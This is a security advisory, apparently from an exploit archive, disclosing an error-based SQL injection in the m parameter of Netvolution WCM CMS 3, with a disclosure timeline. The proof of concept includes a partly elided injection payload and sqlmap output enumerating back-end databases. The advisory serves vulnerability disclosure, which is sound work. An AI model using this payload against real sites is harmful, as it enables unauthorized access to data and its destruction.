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Netvolution WCM CMS 3 SQL Injection

Netvolution WCM CMS 3 SQL Injection
Posted Mar 3, 2014
Authored by projectzero | Site projectzero.gr

Netvolution WCM CMS version 3 suffers from an error-based remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 56727d4b5af1f3a2d7d5db2b1bd2c738

Netvolution WCM CMS 3 SQL Injection

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# Exploit Title:    Netvolution WCM - CMS v3 SQL Injection
# Exploit Type: Error-based SQL injection
# Date: Sun 02 Mar 2014
# Exploit Author: projectzero labs
# Projectzero ID: projectzero2014-002-netvolutionsqli
# Vendor Homepage: http://www.netvolution.net && http://www.atcom.gr
# Version: 3 (as vendor comfirmed)

About the Software:
===================

Netvolution is a very popular commercial CMS developed by Atcom, Greece.
Many high traffic greek sites use various versions of Netvolution WCM.

Vulnerability Details:
======================

Projectzero labs identified an "Error-based SQL injection" a the
parameter m. The attacker can remotely inject sql code and execute
queries in order to alter, insert or destroy data. That kind of attacks
can lead to data loss and/or server take over.

Vendor confirmed the vulnerability and advised owners of Netvolution powered
sites to check the running version of the CMS and update to a
newer one.

Proof of Concept:
=================
sqlmap output:

Place: Get
Parameter: m
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause
Payload: m=siteModules.evenCalendarAjax' AND
3829=CONVERT(INT,(SELECT CHAR(113)+CHAR(114)... CHAR(115)+CHAR(112)))
AND 'test'='test&pid=33&lang=2&d=

[HH:MM:SS] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.5
back-end DBMS: Microsoft SQL Server 2005

[HH:MM:SS] [INFO] fetching database names
[HH:MM:SS] [INFO] the SQL query used returns 196 entries
[HH:MM:SS] [INFO] retrieved: A......
[HH:MM:SS] [INFO] retrieved: A......
[HH:MM:SS] [INFO] retrieved: A......
...
[HH:MM:SS] [INFO] fetching tables for databases: A...,A....,A... ...


Risk:
=====
High

Timeline:
=========
~Vendor Contact: 18/1/2014 (no reply)
26/2/2014 (confirmed)

Credits:
========
projectzero labs
labs@projectzero.gr
http://projectzero.gr
_) |
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_| [__/


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